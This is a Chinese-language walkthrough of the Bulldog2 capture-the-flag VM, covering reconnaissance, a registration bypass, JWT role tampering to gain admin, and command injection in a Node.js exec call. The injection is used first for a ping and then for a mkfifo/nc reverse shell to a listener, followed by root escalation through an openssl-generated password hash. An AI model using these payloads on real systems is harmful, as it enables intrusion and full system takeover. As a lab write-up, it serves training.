其他分享
首页 > 其他分享> > Write-up-Bulldog2

Write-up-Bulldog2

作者:互联网

关于

信息收集

➜  ~ nmap -sn 192.168.56.1/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-25 20:48 CST
Nmap scan report for 192.168.56.1
Host is up (0.00013s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00061s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.02 seconds
➜  ~ 
➜  ~ nmap -T4 -A 192.168.56.101
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-25 20:49 CST
Nmap scan report for 192.168.56.101
Host is up (0.00041s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Bulldog.social
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.35 seconds
<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>
            Bulldog.social
        </title>
        <link rel="stylesheet" href="/assets/bootstrap.min.css">
        <link rel="stylesheet" type="text/css" href="/assets/styles.css">
        <script src="/assets/particles.min.js">
        </script>
        <base href="/">
        <meta name="viewport" content="width=device-width,initial-scale=1">
        <link rel="icon" type="image/x-icon" href="favicon.ico">
        <link href="styles.7decb11e9986af81075e.bundle.css" rel="stylesheet" />
    </head>
    <body>
        <div id="particles-js">
        </div>
        <br>
        <br>
        <app-root>
        </app-root>
        <br>
        <div style="text-align:center">
            <a href="/about">
                About Us |
            </a>
            <a href="/">
                Twitter |
            </a>
            <a href="/">
                Instagram
            </a>
        </div>
        <br>
        <script type="text/javascript" src="inline.7a6fe116b23fa31a9970.bundle.js">
        </script>
        <script type="text/javascript" src="polyfills.f056ccbeb07b92448c13.bundle.js">
        </script>
        <script type="text/javascript" src="vendor.0ce9a4a4addea27177ca.bundle.js">
        </script>
        <script type="text/javascript" src="main.8b490782e52b9899e2a7.bundle.js">
        </script>
    </body>

</html>
<script>
    particlesJS.load('particles-js', '/assets/particles/particlesjs-config.json',
    function() {});
</script>
l.prototype.onRegisterSubmit = function() {
    var l = this,
    n = {
        name: this.name,
        email: this.email,
        username: this.username,
        password: this.password
    };

绕过注册

POST /users/register HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/login
content-type: application/json
Content-Length: 99
Connection: close

{
  "name": "kt",
  "email": "root@kali-team.cn",
  "username": "kt",
  "password": "123456"
}
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 24 Oct 2018 08:36:19 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 40
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
ETag: W/"28-r22PRevV1bosgiTQ0L7/zW61meQ"

{"success":true,"msg":"User registered"}

获取管理员权限

{"success":true,"token":"JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXlsb2FkIjp7Im5hbWUiOiJrdCIsImVtYWlsIjoicm9vdEBrYWxpLXRlYW0uY24iLCJ1c2VybmFtZSI6Imt0IiwiYXV0aF9sZXZlbCI6InN0YW5kYXJkX3VzZXIifSwiaWF0IjoxNTQwMzcwNTYzLCJleHAiOjE1NDA5NzUzNjN9.miulCBmgpn_NqFHppjlk-zzJsSrdgCvdHZTP395Hbjg","user":{"name":"kt","username":"kt","email":"root@kali-team.cn","auth_level":"standard_user"}}
{
  "payload": {
    "name": "kt",
    "email": "root@kali-team.cn",
    "username": "kt",
    "auth_level": "standard_user"
  },
  "iat": 1540370563,
  "exp": 1540975363
}
l.prototype.isAdmin = function() {
var l = localStorage.getItem("user");
return null !== l && "master_admin_user" == JSON.parse(l).auth_level
},

漏洞利用

router.post('/linkauthenticate', (req, res, next) => {
  const username = req.body.password;
  const password = req.body.password;

  exec(`linkplus -u ${username} -p ${password}`, (error, stdout, stderr) => {
  if (error) {
    console.error(`exec error: ${error}`);
    return;
  }
  console.log(`stdout: ${stdout}`);
  console.log(`stderr: ${stderr}`);
});
POST /users/linkauthenticate HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/dashboard
content-type: application/json
Content-Length: 73
Connection: close

{
  "username": "kt",
  "password": "1234566  ; ping 192.168.56.1 -c 4"
}
11  0.005424306 192.168.56.101  192.168.56.1    ICMP    98  Echo (ping) request  id=0x61fd, seq=1/256, ttl=64 (reply in 12)
12  0.005440583 192.168.56.1    192.168.56.101  ICMP    98  Echo (ping) reply    id=0x61fd, seq=1/256, ttl=64 (request in 11)

反弹Shell

POST /users/linkauthenticate HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/dashboard
content-type: application/json
Content-Length: 123
Connection: close

{
  "username": "kt",
  "password": "1  ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 7788 >/tmp/f"
}
➜  ~ nc -lvp 7788
Connection from 192.168.56.101:37834
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(node) gid=1005(node) groups=1005(node)
$ 

提权

➜  ~ openssl passwd -1 -salt kt 123
$1$kt$mR/jSFSDV/G0vNQ72T8cs.
node@bulldog2:/etc$ su kt
su kt
Password: 123
root@bulldog2:/etc# id
id
uid=0(root) gid=0(root) groups=0(root)
root@bulldog2:/etc# 
root@bulldog2:/etc# cd /root
cd /root
root@bulldog2:~# ls
ls
flag.txt
root@bulldog2:~# cat flag.txt
cat flag.txt
Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

I'm already working on another more challenging VM. Follow me for updates.
root@bulldog2:~# 

标签:username,Bulldog2,up,192.168,Write,kt,56.101,password,root
来源: https://www.cnblogs.com/Kali-Team/p/12210985.html